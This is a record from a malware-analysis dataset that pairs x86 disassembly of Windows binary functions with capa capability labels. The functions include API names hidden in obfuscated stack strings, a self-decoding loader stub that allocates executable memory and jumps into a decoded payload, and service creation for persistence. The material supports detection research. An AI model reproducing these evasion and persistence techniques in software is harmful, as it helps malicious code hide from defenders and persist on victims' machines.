joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000d115
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x1007100c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x1b], 0x65747379
push eax
mov edi, edx
mov word [ebp - 0xc], 0x6954
mov esi, ecx
mov word [ebp - 0x16], 0x6954
xor ebx, ebx
mov byte [ebp - 0x17], 0x6d
mov dword [ebp - 0x13], 0x466f5465
mov word [ebp - 0xf], 0x6c69
mov byte [ebp - 0x14], 0x6d
mov byte [ebp - 0x1c], 0x53
mov word [ebp - 9], 0x65
mov byte [ebp - 0xd], 0x65
mov byte [ebp - 0xa], 0x6d
call fcn.1000ca91
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1000d182
push edi
push esi
call eax
mov ebx, eax
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100105a7
mov esp, ebp
pop ebp
ret

Function at 0x1000d195
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x1007100c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x1c]
mov word [ebp - 0xc], 0x6e6f
push eax
mov edi, edx
mov dword [ebp - 0x1c], 0x636f7250
mov esi, ecx
mov word [ebp - 0x13], 0x6f54
xor ebx, ebx
mov dword [ebp - 0x18], 0x49737365
mov word [ebp - 9], 0x64
mov dword [ebp - 0x11], 0x73736553
mov byte [ebp - 0x14], 0x64
mov byte [ebp - 0xd], 0x69
mov byte [ebp - 0xa], 0x49
call fcn.1000ca91
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1000d1fb
push edi
push esi
call eax
mov ebx, eax
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100105a7
mov esp, ebp
pop ebp
ret

Function at 0x1000d20e
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x1007100c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, ecx
xor ebx, ebx
call fcn.1000cb71
mov esi, eax
test esi, esi
je 0x1000d295
lea eax, [ebp - 0x24]
mov dword [ebp - 0x16], 0x79746972
push eax
push esi
mov word [ebp - 0x23], 0x696e
mov word [ebp - 0x20], 0x6169
mov dword [ebp - 0xe], 0x74706972
mov dword [ebp - 0x12], 0x63736544
mov dword [ebp - 0x1b], 0x63655365
mov word [ebp - 9], 0x72
mov byte [ebp - 0x17], 0x75
mov byte [ebp - 0xa], 0x6f
mov byte [ebp - 0x21], 0x74
mov word [ebp - 0x1d], 0x7a69
mov byte [ebp - 0x1e], 0x6c
mov byte [ebp - 0x24], 0x49
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1000d28e
push 1
push edi
call eax
mov ebx, eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100105a7
mov esp, ebp
pop ebp
ret
Function at 0x1000d2a8
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x1007100c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x14]
mov dword [ebp - 0x13], 0x79537465
push eax
mov esi, ecx
mov word [ebp - 0xe], 0x6574
mov byte [ebp - 0x14], 0x47
mov word [ebp - 8], 0x65
mov word [ebp - 0xb], 0x6954
mov byte [ebp - 0xc], 0x6d
mov byte [ebp - 0xf], 0x73
mov byte [ebp - 9], 0x6d
call fcn.1000ca91
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1000d2fb
push esi
call eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.100105a7
mov esp, ebp
pop ebp
ret

Function at 0x1000d30a
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x14
mov eax, dword [0x1007100c]
xor eax, esp
mov dword [esp + 0x10], eax
push ebx
push ebp
push esi
push edi
mov edi, edx
mov ebp, ecx
xor ebx, ebx
call fcn.1000cbed
mov esi, eax
test esi, esi
je 0x1000d377
lea eax, [esp + 0x10]
mov word [esp + 0x16], 0x6577
push eax
push esi
mov dword [esp + 0x21], 0x66667542
mov dword [esp + 0x19], 0x4c726168
mov byte [esp + 0x18], 0x43
mov word [esp + 0x25], 0x57
mov byte [esp + 0x20], 0x72
mov byte [esp + 0x1d], 0x6f
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1000d370
push edi
push ebp
call eax
mov ebx, eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [esp + 0x20]
mov eax, ebx
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.100105a7
add esp, 0x14
ret

Function at 0x1000d412
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x1007100c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, ecx
xor ebx, ebx
call fcn.1000cb71
mov esi, eax
test esi, esi
je 0x1000d4a9
lea eax, [ebp - 0x20]
mov word [ebp - 0x19], 0x6972
push eax
push esi
mov word [ebp - 0xb], 0x6144
mov word [ebp - 0x10], 0x7069
mov word [ebp - 0x1f], 0x7465
mov word [ebp - 0x1c], 0x6365
mov word [ebp - 8], 0x6c
mov word [ebp - 0x16], 0x4479
mov byte [ebp - 0x1d], 0x53
mov word [ebp - 0x13], 0x6373
mov byte [ebp - 0x11], 0x72
mov word [ebp - 0xe], 0x6f74
mov byte [ebp - 0x20], 0x53
mov byte [ebp - 0x17], 0x74
mov byte [ebp - 0x1a], 0x75
mov byte [ebp - 0xc], 0x72
mov byte [ebp - 9], 0x63
mov byte [ebp - 0x14], 0x65
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1000d4a2
push ebx
push ebx
push 1
push edi
call eax
mov ebx, eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100105a7
mov esp, ebp
pop ebp
ret
Function at 0x1000d4bc
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x1007100c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push 0x6c
pop edx
push 0x2e
pop eax
push 0x64
mov word [ebp - 0x22], ax
mov esi, ecx
pop eax
push 0x6e
pop ecx
mov word [ebp - 0x28], ax
xor ebx, ebx
mov word [ebp - 0x20], ax
push 0x74
pop eax
mov word [ebp - 0x2a], ax
xor eax, eax
mov word [ebp - 0x1a], ax
lea eax, [ebp - 0x2c]
push eax
mov word [ebp - 0x1c], dx
mov word [ebp - 0x26], dx
mov word [ebp - 0x2c], cx
mov word [ebp - 0x1e], dx
mov word [ebp - 0x24], dx
mov dword [ebp - 0x18], 0x6554744e
mov byte [ebp - 0x11], cl
mov dword [ebp - 0xe], 0x6f725065
mov word [ebp - 0x13], 0x696d
mov word [ebp - 7], 0x73
mov word [ebp - 0xa], 0x6563
mov word [ebp - 0x10], 0x7461
mov byte [ebp - 8], 0x73
mov byte [ebp - 0x14], 0x72
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x1000d56a
lea ecx, [ebp - 0x18]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x100930c4], eax
test eax, eax
je 0x1000d56a
push ebx
push esi
call eax
xor ecx, ecx
inc ecx
test eax, eax
cmove ebx, ecx
mov ecx, dword [ebp - 4]
mov eax, ebx
pop esi
xor ecx, ebp
pop ebx
call fcn.100105a7
mov esp, ebp
pop ebp
ret
Function at 0x10017207
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret
Function at 0x40a410
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x88
mov eax, dword [0x42e0e4]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
lea eax, [esi + 0x1000]
cmp eax, 0x2000
jb 0x40a454
xor eax, eax
cmp byte [esi], al
je 0x40a447
lea ebx, [ebx]
inc eax
cmp byte [esi + eax], 0
jne 0x40a440
push 0
lea ecx, [ebp - 0x88]
push ecx
push eax
push esi
jmp 0x40a4c3
push 0
lea eax, [ebp - 0x88]
push eax
push 0xb
push 0x40e148
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0x2080
push 8
push 8
push 0x10
push esi
lea eax, [ebp - 0x84]
push 0x80
push eax
call fcn.0040bc50
add esp, 0x1c
lea ecx, [ebp - 0x88]
push 0
push ecx
push eax
lea eax, [ebp - 0x84]
push eax
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea eax, [ebp - 0x88]
push eax
push 1
push 0x40d294
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00401290
mov esp, ebp
pop ebp
ret

Function at 0x40a4f0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb0
mov eax, dword [0x42e0e4]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x2000
push 0
push 0
push 0xa
push dword [ebp + 8]
lea eax, [ebp - 0xac]
push 0xa8
push eax
call fcn.0040bc50
push 0x2008
push 0
push 0
mov word [ebp + eax - 0xac], 0x2820
lea esi, [eax + 2]
push 0x10
push dword [ebp + 8]
mov eax, 0xa8
sub eax, esi
push eax
lea eax, [ebp - 0xac]
add eax, esi
push eax
call fcn.0040bc50
add esp, 0x38
lea ecx, [ebp - 0xb0]
add eax, esi
push 0
mov byte [ebp + eax - 0xac], 0x29
inc eax
push ecx
push eax
lea eax, [ebp - 0xac]
push eax
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00401290
mov esp, ebp
pop ebp
ret

Function at 0x40a5a0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x88
mov eax, dword [0x42e0e4]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x2008
push 0
push 0
push 0x10
push dword [ebp + 8]
lea eax, [ebp - 0x84]
push 0x80
push eax
call fcn.0040bc50
add esp, 0x1c
lea ecx, [ebp - 0x88]
push 0
push ecx
push eax
lea eax, [ebp - 0x84]
push eax
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401290
mov esp, ebp
pop ebp
ret
Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53

Function at 0x409b38
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x409b47
pop dword [ebp - 0x44]
mov eax, 0x5ab5778c
sub eax, 0x5a74dc45
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0xff755770
sub dword [ebp - 0x54], 0xb1231225
mov dword [ebp - 0x50], 0x7758e75a
sub dword [ebp - 0x50], 0x45259b15
mov dword [ebp - 0x4c], 0x4bd8cfd8
sub dword [ebp - 0x4c], 0xff8c8baa
mov dword [ebp - 0x48], 0x96ca5422
sub dword [ebp - 0x48], 0x96ca5422
lea eax, [ebp - 0x54]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0xe78b2cdb
add dword [ebp - 0x54], 0x8ce73c7b
mov dword [ebp - 0x50], 0xd7ed5629
add dword [ebp - 0x50], 0x697f0b4c
mov dword [ebp - 0x4c], 0x8ad86e89
add dword [ebp - 0x4c], 0xd896fde3
mov dword [ebp - 0x48], 0x75450911
sub dword [ebp - 0x48], 0x75450911
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, 0x2d60350d
sub eax, 0x2d1f64c1
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x3f52a
push 0
call eax
mov ecx, 0xdd5714f5
sub ecx, 0xdd56b5d6
xor esi, esi
add esi, eax
mov edx, 0x41b000
add edx, dword [ebp - 0x44]
mov edi, 0x71889bf2
sub edi, 0xcf9fbff4
mov ebx, dword [edx]
xor dword [ebp - 0x34], eax
sub ebx, edi
sub dword [ebp - 0xc], 0xffbf8dfa
mov dword [esi], ebx
xor dword [ebp - 0x10], 0x88a1e4dd
add esi, 0x7c4f9649
sub esi, 0x7c4f9645
add edx, 4
loop 0x409c60
add eax, 0x16f4f
mov ebx, eax
add eax, 0x34b3885e
sub eax, 0x34b38859
mov ecx, 0x8acca012
add ecx, 0x75735fee
add ecx, dword [ebp - 0x44]
call ebx
leave
ret

Function at 0x401adf
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401b1e
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401b1e
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401b1e
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401b1e
cmp dword [ecx + 0x74], 0xe
jbe 0x401b1e
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x401080
Capabilities:
Query service status
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push esi
push edi
mov edi, dword [ebp + 8]
xor esi, esi
lea eax, [ebp - 4]
push eax
push 0x24
lea eax, [ebp - 0x28]
push eax
push 0
push edi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x4010ea
cmp dword [ebp - 0x24], 1
je 0x4010e1
lea eax, [ebp - 0x28]
push eax
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x4010c8
cmp dword [ebp - 0x24], 1
je 0x4010e1
push 0x64
call ebx
inc esi
cmp esi, 0xc8
jb 0x401094
pop edi
pop esi
mov eax, 0x80004005
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x4010ff
movzx esi, si
or esi, 0x80070000
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x401110
Capabilities:
Delete service

Disassembly:
push edi
push 0x10024
push str.CdRomAccessAgentService
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
test edi, edi
jne 0x40113c
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jle 0x401184
movzx eax, ax
or eax, 0x80070000
pop edi
ret
push esi
push edi
call fcn.00401080
mov esi, eax
add esp, 4
test esi, esi
jne 0x40117a
push edi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
jne 0x401178
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x40117a
movzx esi, si
push edi
or esi, 0x80070000
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, esi
pop esi
pop edi
ret
xor esi, esi
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, esi
pop esi
pop edi
ret

Function at 0x401200
Capabilities:
Create service
Modify service
Persist via windows service

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 0
push 0
push 0
push 0
push 0
push edx
push 1
push 2
push 0x10
push 0xf01ff
push 0x414298
push str.CdRomAccessAgentService
push ecx
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov esi, eax
test esi, esi
jne 0x401249
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jle 0x401266
movzx eax, ax
or eax, 0x80070000
pop esi
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 4]
mov dword [ebp - 4], 0x4142e8
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2W]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x401270
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push esi
push 0x144
mov esi, ecx
push esi
push str.CommonProgramFiles
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
test eax, eax
jne 0x4012a4
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jle 0x401324
movzx eax, ax
or eax, 0x80070000
pop esi
pop ebp
ret
cmp eax, 0x144
jae 0x40131f
mov ecx, 0x144
sub ecx, eax
cmp ecx, 0x23
jb 0x40131f
mov dword [esi + eax*2], 0x63005c
mov edx, 0x63
mov dword [esi + eax*2 + 4], 0x610064
mov dword [esi + eax*2 + 8], 0x740067
mov dword [esi + eax*2 + 0xc], 0x760073
mov word [esi + eax*2 + 0x10], dx
add eax, 9
cmp byte [ebp + 8], 0
push edi
mov edi, 0x5c
jne 0x401313
mov word [esi + eax*2], di
inc eax
xor edx, edx
jmp 0x401300
movsx cx, byte [edx + str.cdagtsvc_v1.0.0_x86.exe]
inc edx
mov word [esi + eax*2], cx
inc eax
cmp edx, 0x17
jb 0x401300
xor ecx, ecx
mov word [esi + eax*2], cx
xor eax, eax
pop edi
pop esi
pop ebp
ret
mov eax, 0x8007007a
pop esi
pop ebp
ret

Function at 0x401330
Capabilities:
Get file size
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push edi
push 0
push 0x20000000
push 3
push 0
push 1
push 0x80000000
push dword [ebp + 8]
mov dword [ebp - 8], edx
mov dword [ebp - 4], ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x40137a
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jle 0x401440
movzx eax, ax
or eax, 0x80070000
pop edi
mov esp, ebp
pop ebp
ret
push esi
lea eax, [ebp - 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
jne 0x4013ae
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x40139f
movzx esi, si
or esi, 0x80070000
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
pop edi
mov esp, ebp
pop ebp
ret
cmp dword [ebp - 0xc], 0
je 0x4013bf
pop esi
mov eax, 0x800700df
pop edi
mov esp, ebp
pop ebp
ret
push ebx
push 0
push dword [ebp - 0x10]
push 0
push 2
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x4013e9
movzx esi, si
or esi, 0x80070000
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x401426
push dword [ebp - 0x10]
push 0
push 0
push 4
push ebx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x40141b
movzx esi, si
or esi, 0x80070000
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
jne 0x40142f
pop ebx
mov eax, esi
pop esi
pop edi
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 8]
pop ebx
pop esi
mov dword [eax], edi
mov eax, dword [ebp - 0x10]
mov dword [ecx], eax
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x401450
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push esi
lea eax, [ebp - 0x14]
mov dword [ebp - 0xc], ecx
push eax
push dword [ebp + 8]
mov esi, edx
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
jne 0x40148e
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jle 0x40154e
movzx eax, ax
or eax, 0x80070000
pop esi
mov esp, ebp
pop ebp
ret
cmp dword [ebp - 0x10], 0
jne 0x401578
cmp dword [ebp - 0x14], esi
jne 0x401578
push ebx
xor ebx, ebx
push edi
test esi, esi
je 0x40154a
mov eax, 0x400
mov edi, esi
sub edi, ebx
cmp edi, 0x400
push 0
cmova edi, eax
lea eax, [ebp - 8]
push eax
push edi
lea eax, [ebp - 0x414]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x40155f
cmp edi, dword [ebp - 8]
jne 0x401553
mov eax, dword [ebp - 0xc]
lea edx, [ebp - 0x414]
mov esi, edi
add eax, ebx
sub esi, 4
jb 0x401506
mov ecx, dword [edx]
cmp ecx, dword [eax]
jne 0x40150b
add edx, 4
add eax, 4
sub esi, 4
jae 0x4014f5
cmp esi, 0xfffffffc
je 0x401538
mov cl, byte [edx]
cmp cl, byte [eax]
jne 0x401553
cmp esi, 0xfffffffd
je 0x401538
mov cl, byte [edx + 1]
cmp cl, byte [eax + 1]
jne 0x401553
cmp esi, 0xfffffffe
je 0x401538
mov cl, byte [edx + 2]
cmp cl, byte [eax + 2]
jne 0x401553
cmp esi, 0xffffffff
je 0x401538
mov cl, byte [edx + 3]
cmp cl, byte [eax + 3]
jne 0x401553
mov esi, dword [ebp - 4]
add ebx, edi
mov eax, 0x400
cmp ebx, esi
jb 0x4014b2
xor eax, eax
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret
pop edi
pop ebx
mov eax, 0x80004005
pop esi
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jle 0x40154c
pop edi
movzx eax, ax
pop ebx
or eax, 0x80070000
pop esi
mov esp, ebp
pop ebp
ret
mov eax, 0x80004005
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x401590
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, edx
push 0
push 0
push 0
push esi
mov dword [ebp - 4], ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x4015ce
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jle 0x401654
movzx eax, ax
pop esi
or eax, 0x80070000
pop ebx
mov esp, ebp
pop ebp
ret
push edi
xor edi, edi
test ebx, ebx
je 0x40161a
mov eax, 0x4000
lea ebx, [ebx]
mov esi, ebx
sub esi, edi
cmp esi, 0x4000
push 0
cmova esi, eax
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push esi
add eax, edi
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x401625
cmp esi, dword [ebp - 8]
jne 0x40163e
add edi, esi
mov eax, 0x4000
cmp edi, ebx
jb 0x4015e0
mov esi, dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x40164a
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jle 0x401653
pop edi
movzx eax, ax
pop esi
or eax, 0x80070000
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
mov eax, 0x80004005
pop ebx
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401710
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
mov edx, ecx
mov dword [ebp - 4], ecx
push esi
lea esi, [edx + 2]
lea ecx, [ecx]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x401720
sub edx, esi
sar edx, 1
cmp edx, 0xc
jae 0x40173e
mov eax, 0x80070057
pop esi
mov esp, ebp
pop ebp
ret
push ebx
lea ebx, [ecx - 0x12]
mov esi, str._inst.exe
lea ebx, [ebx + edx*2]
push edi
mov ecx, ebx
mov edi, 0xe
mov eax, dword [ecx]
cmp eax, dword [esi]
jne 0x40176b
add ecx, 4
add esi, 4
sub edi, 4
jae 0x401752
mov ax, word [ecx]
cmp ax, word [esi]
je 0x40176d
xor ebx, ebx
mov eax, dword [ebp - 4]
mov esi, 0x12
add eax, 0xffffffea
lea edi, [eax + edx*2]
mov edx, str._inst64.exe
mov ecx, edi
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x40179b
add ecx, 4
add edx, 4
sub esi, 4
jae 0x401782
mov ax, word [ecx]
cmp ax, word [edx]
je 0x40179d
mov edi, ebx
test edi, edi
jne 0x4017ad
pop edi
pop ebx
mov eax, 0x80070057
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [str.tiny]
push dword [ebp - 4]
mov dword [edi + 2], eax
mov eax, dword [0x413ef0]
mov dword [edi + 6], eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x4017d8
test al, 0x10
jne 0x4017d8
pop edi
pop ebx
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
pop edi
pop ebx
mov eax, 0x80070002
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x4017f0
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
push 1
mov esi, ecx
call fcn.00401270
add esp, 4
test eax, eax
jne 0x401899
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x401834
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jle 0x401829
movzx eax, ax
or eax, 0x80070000
cmp eax, 0x800700b7
je 0x401834
test eax, eax
jne 0x401899
push 0x144
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x401894
cmp eax, 0x144
jae 0x401894
cmp byte [ebp + 8], 0
je 0x40185e
mov ecx, esi
call fcn.00401710
test eax, eax
jne 0x401899
push esi
lea edx, [ebp - 4]
lea ecx, [ebp - 8]
call fcn.00401330
add esp, 4
test eax, eax
jne 0x401899
push eax
mov ecx, esi
call fcn.00401270
add esp, 4
test eax, eax
jne 0x401899
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
push esi
call fcn.00401660
add esp, 4
pop esi
mov esp, ebp
pop ebp
ret
mov eax, 0x8007007a
pop esi
mov esp, ebp
pop ebp
ret